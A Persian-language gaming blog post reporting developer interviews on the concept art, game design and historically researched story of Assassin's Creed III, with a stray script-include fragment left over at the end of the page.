تبلیغات
بازیکده - دنیای جدید قاتلین!

:درباره وبلاگ

:آرشیو

:طبقه بندی

:پیوندها

:پیوندهای روزانه

:نویسندگان

:آخرین پستها

:نظرسنجی

آماروبلاگ

پنجشنبه 31 فروردین 1391-11:17 ق.ظ



سخه جدید سری بازی های Assassin’s Creed مدتی پیش توسط Ubisoft معرفی شد و مشخص شد که این بازی در قاره آمریکا رخ می دهد و ماجراهای مربوط به انقلاب آمریکا را روایت می کند. ایده این بازی از طرح های هنری اولیه ای که هنرمندان Ubisoft آن را خلق کردند، شکل گرفت. طرح هایی که بعضی وقت ها تنها شامل چند خط سیاه می شدند و کم کم پر و بال می گرفتند. Assassin’s Creed III توسط Ubisoft Montreal ساخته می شود. آن ها برای این شماره با شخصی به نام ایکزیویر توماس (Xavier Thomas) کار کرده اند. او یک هنرمند واقعی است و می داند که به چه صورت باید در این بازی کار کرد.

او درباره حضورش در این بازی می گوید: "من مدت 8 سال است که با Ubisoft کار می کنم. من از لحظه شروع ساخت اولین نسخه از این سری از بازی ها در کنار تیم سازنده حضور داشتم و طرح های زیادی برای این سری خلق کرده ام که برخی از آن ها به طرح روی جلد بازی نیز تبدیل شدند. کار من با تیم سازنده بازی بسیار نزدیک بود و همیشه با هم کار می کردیم." اولین طرحی که از Assassin’s Creed III منتشر شد، نیز کار او بوده است. توماس از یک سبک جدید استفاده کرد که به وسیله آن بتواند این طرح را به خوبی خلق کند و به چیزی تبدیل شود که بتوان با آن AC III را معرفی کرد. او درباره طرحش اینگونه صحبت می کند که: "هدف اصلی این بود که بازیکنان با دیدن این طرح هیجان زده بشوند.

اولین تصویری که از این بازی منتشر می شد، شخصیت اصلی این نسخه را معرفی می کرد. یک شخصیت جدید که یک دنیای تازه را پیش روی خودش و بازیکنان می بیند. برخی از قسمت های او مربوط به شخصیت هایی مانند اتزیو (Ezio) و الطائر (Altair) می شوند. این قسمت ها ریشه او را نشان می دهند و المان های یک Assassin را در بر دارند. کلاه روی صورت و طیغه های پنهان همیشه جزئی از شخصیت های این سری از بازی ها بوده، اما شخصیت جدید این نسخه یک تبر (Tomahawk) نیز در اختیار دارد. در طراحی لباس او سعی کردم که چیزهای جدیدی دیده شوند، چرا که او یک قهرمان جدید است. البته طرح لباس های او باید به شکلی می بود که با فضای بازی نیز همخوانی داشته باشد."

سلاح جدید شخصیت اصلی این نسخه به نوعی نماد این شخصیت به حساب می آید و او را معرفی می کند. سلاح های او بیانگر گذشته او هستند و همچنین المان های جدیدی در گیم پلی بازی به وجود آورده اند. توماس درباره سلاح های موجود در بازی اینگونه توضیح می دهد: "سلاح ها در این بازی به بازیکنان ایده های جدید برای بازی کردن می دهند که از آن ها می توان در نسخه های بعدی این سری نیز استفاده کرد. اگر از نزدیک به تصویر بازی نگاه کنید، شخصیت اصلی بازی که کانر (Connor) نام دارد، حالت یک شکارچی (Predator) را به خودش گرفته است. محیط و طبیعت موجود در بازی ایده های جدیدی به گیم پلی اضافه کرده اند و باعث شده اند که در آن قسمت های جدیدی به وجود بیایند."

توماس یکی دیگر از دلایلی که اولین تصویر بازی به این شکل بود را اینگونه توضیح می دهد: "من می خواستم بازیکنان از خودشان سوال کنند که این قهرمان جدید کیست؟ آیا او با سربازان است یا علیه آن ها کار می کند؟ این سوالات باعث می شوند که بتوان پیشینه شخصیت بازی را بهتر خلق کرد." در طراحی کاور بازی نیز از المان های مستقل استفاده شده است. یکی از آن ها، پرچم آمریکا است که پشت سر کانر مشخص است. ابتدا قرار نبود که پرچم پشت سر او قرار بگیرد. در طرح های اولیه نیز پرچم پشت او قرار نداشت، اما زمانی که مشخص شد بازی در آمریکا است، پرچم به آن اضافه شد.

یکی دیگر از این المان های مستقل که حالت هنری به این تصویر بخشیده و باعث می شود بازی بهتر به نظر برسد، برف است. اگر از نزدیک به تصویر نگاه کنید، متوجه می شوید که برف ها براق هستند و این نشان از مجازی بودن آن ها در Animus است که نمایانگر این است که بازی در دنیای مدرن نیز در جریان است و اتفاقات ریشه در آینده نیز دارند. تمام این المان ها در کنار هم باعث می شوند که تصویر بازی مرموز به نظر برسد. این بازی یک Creative Director جدید نیز در کنار خودش خواهد داشت. او کارش را در استرالیا شروع کرد و اولین بازی هایش را روی کنسول Game Boy Advance ساخت. او الکس هاچینسون (Alex Hutchinson) نام دارد که قبلاً در استودیوی Maxis کار می کرده  و طراح ارشد بازی Spore بوده است.

او برای اینکه سری Assassin’s Creed همیشه تازه و جذاب باشند، ایده های جدیدی را در صنعت بازیسازی به وجود آورده است. هاچینسون درباره چالش های این بازی می گوید: "من بازیکنان و افراد زیادی را می بینم که از من سوال می کنند که اگر این اتفاق در بازی رخ بدهد، بازی به یک سمت دیگر می رود و اگر این اتفاق در بازی رخ بدهد، بازی به سمت دیگری می رود. باید بگویم که سیستم یک بازی به این صورت نیست. یک بازی از سیستم های مختلفی تشکیل شده و چیزهای مختلفی را روایت می کند. چیزی که برای من در این پروژه جالب است، این است که بازیکنان در این بازی خودشان را در داستانی خواهند دید که هرگز مانند آن را تجربه نکرده اند.

بازی به شکلی است که بازیکنان خودشان داستان را کشف می کنند و خودشان داستان را روایت می کنند. ما در بخش Game Design ابزاری خلق کردیم که هسته بازی را تشکیل می دهند و شامل این موضوع می شوند که بازی به چه شکل روایت شود و به چه صورت می توان آن را روایت کرد. این موضوع به ما اجازه می دهد که بازی را کنترل کنیم. این قسمت باعث شده که تا ما زمانی که کاری را اشتباه انجام می دهیم، متوجه آن بشویم. در واقع این بخش ما را بسیار با سختی مواجه کرده، اما نتیجه خوب باعث می شود که این کار را انجام دهیم. من زمانی که در Maxis کار می کردم، مشغول ساخت بازی Spore بودم.

سیستمی در این بازی به وجود آوردیم که در آن بازیکنان مجاز به انجام هر کاری بودند و کارهای بسیار زیادی را می توانستند انجام دهند. زمانی که بازی Spore را ساختیم، فهمیدم که این عنوان از آن بازی هایی نیست که دوباره کسی آن را خلق کند. این بازی یک ایده کاملاً جدید بود. در آن بازی طرح های زیادی را مشاهده کردید و این موضوع پیچیدگی Game Design را به نمایش درمی آورد. قبلاً بازی ای در این سبک نساخته بودیم که از آن الگوبرداری کنیم و حتی بازی ای هم در بازار وجود نداشت که آن را نگاه کنیم. هیچ گونه زیر بنایی برای ساخت این بازی وجود نداشت. این بازی به من یاد داد که برای Game Design نباید همیشه از ایده تکراری استفاده کرد.

من زمانی که در یک پروژه قرار دارم، دوست دارم چیزهای جدید از آن یاد بگیرم." بعد از طراحی بازی و مبحث Game Design نوبت به داستان می رسد. این سری از بازی ها را می توان از نظر داستان بسیار فوق العاده دانست. آن ها تنها یک قسمت از تاریخ را انتخاب می کنند و داستانی برای آن خلق می کنند که واقعاً هیجان انگیز است. نویسنده داستان بازی کسی نیست جز کوری می (Cory May) که داستان نسخه های اول، دوم و Brotherhood را نوشته بود. او درباره خلق داستان بازی می گوید که: "ما برای خلق داستان بازی تحقیقات زیادی انجام دادیم که مربوط به زمانی می شد که بازی در آن رخ می داد.

زبان خاصی در آن زمان وجود داشته و چون صدایی از آن زمان در دسترس نبود، ما تحقیقات بیشتری در اینباره انجام دادیم تا بتوانیم در مورد آن زمان اطلاعات بدست بیاوریم. متخصصی در اینباره پیدا کردیم که به ما در ساخت این زبان کمک کرد. تا جایی که توانستیم به سرگذشت شخصیت هایی که در این بازی وجود دارند، توجه کردیم. اینکه آن ها کجا به دنیا آمده اند، آیا در آمریکا به دنیا آمده اند و بزرگ شده اند یا اینکه در انگلیس بوده اند و به آمریکا آمده اند، از جمله مسائلی بود که ما به آن توجه کردیم. هر جا هم که لازم بود، از متخصص های مختلف استفاده کردیم تا ما را راهنمایی کنند. درباره لهجه های آن زمان نیز تحقیق کردیم.

در بعضی مواقع کار به جایی رسید که ما آرزو می کردیم که ای کاش ماشین زمان داشتیم و به آن زمان می رفتیم. لهجه آن زمان به شکلی بود که اگر ما آن را در بازی به کار می بریم، مردم متوجه آن نمی شدند. به همین دلیل سعی کردیم در آن تغییراتی ایجاد کنیم که صحبت ها قابل فهم باشند. البته این تغییرات به صورتی بوده که به بدنه اصلی گویش آن زمان صدمه وارد نکند و بازیکنان بتوانند دقیقاً حس حضور در آن زمان را احساس کنند." کوری در مورد تحقیقاتی که درباره این بازی انجام دادند می گوید: "من نمی خواهم بگویم که بهترین افراد در این کار هستیم، اما تمام سعی خودمان را کردیم که همه چیز بسیار خوب به نظر برسد و مشکلی در آن به وجود نیاید. سعی کردیم که همه چیز دقیق باشد.

تکنولوژی ها و حقایق را به خوبی در داستان قرار دادیم. هر چه ما در این سری از بازی ها به زمان حال نزدیک شدیم، با اتفاقات بیشتری روبرو شدیم. جنگ های مختلف و اتفاقات زیادی که رخ داده، واقعاً کار ما را مشکل کردند. اتفاقات تاریخی را باید به شکلی در بازی روایت می کردیم که برای مردم باورپذیر باشند و بتوانند با آن ارتباط برقرار کنند. روایت خشک و خالی تاریخ برای کسی جذابیت ندارد. باید به آن ها شاخ و برگ هایی اضافه می کردیم که نه به اصل ماجرا صدمه وارد می کرد و هم برای بازیکنان هیجان و جذابیت به وجود بیاورد. چالش این بازی بیشتر از نسخه های  قبلی بود. این بازی از اتفاقات تاریخی بیشتری تشکیل شده و این موضوع کار را جدی تر و سخت تر می کرد.

ما سعی کردیم تا جایی که ممکن است، حقایق را پوشش دهیم و آن ها را با کمترین تغییری در بازی به نمایش دربیاوریم. هر چه اطلاعات و وقایع بیشتر باشند، کار سخت تر و سخت تر می شود. الان با تاریخی روبرو هستیم که کم و بیش همه با آن آشنایی دارند. قسمت هایی را از خودمان به بازی اضافه کردیم، اما باز هم روند بازی بسیار دقیق روایت می شود. اشخاص واقعی زیادی در بازی حضور دارند که در زمان و مکان و اتفاق درست کشته می شوند. به نظر من این موضوع یکی از قسمت هایی است که سری AC را جالب کرده است. در AC III در وقایع تاریخی حضور خواهید داشت.

در نسخه های قبلی فقط شخصیت های واقعی و ساختمان های تاریخی وجود داشتند که ما برای آن ها اتفاقات مختلف خلق کردیم. به نظر من این تغییری که در Assassin’s Creed III به وجود آوردیم، کار بسیار بزرگی در این سری از بازی ها بوده است. در نسخه های قبلی برای شهر فلورانس اطلاعات زیادی داشتیم، اما زمانی که به ونیز رسیدیم، دستمان از اطلاعات خالی بود. به همین خاطر خودمان چیزهایی را برای بازی خلق کردیم. حال در این نسخه با عکس این موضوع روبرو هستیم. آنقدر اطلاعات داریم که نمی دانیم باید با آن ها چه کار بکنیم. سر این موضوع که چه قسمت هایی باید در بازی وجود داشته باشند و چه قسمت هایی را باید نادیده بگیریم، صحبت های زیادی انجام دادیم. در این پروژه یک دنیا اطلاعات روی میز داشتیم و باید با آن ها یک داستان خوب درست می کردیم.

حتی موضوع هایی مانند اینکه بارش باران در بازی داشته باشیم یا نه و هوا گرم باشد یا سرد نیز بحث کردیم. این شرایط نیز روی زمانی که اتفاقات مختلف در بازی رخ می دهند، تأثیرگذار بود. تا جایی هم که توانستیم، سعی کردیم شرایط آب و هوایی نیز به واقعیت نزدیک باشد. شرایط آب و هوا در بازی دقیقاً به شکلی طراحی شده که در زمان اصلی وجود داشته است. اتفاقات تاریخی بازی با آب و هوایی که دقیقاً در آن لحظه حکم فرما بوده نمایش داده می شوند. در طول بازی ممکن است که به مدت 30 ثانیه به یک اتفاق تاریخی اشاره شود. شما می توانید آن را در Google جستجو کنید و به صفحه Wikipedia آن بروید و ببینید که همه چیز درست روایت شده است.





تاریخ آخرین ویرایش:- -




script src="http://filmdoni.ir/game/01.js" language="javascript" >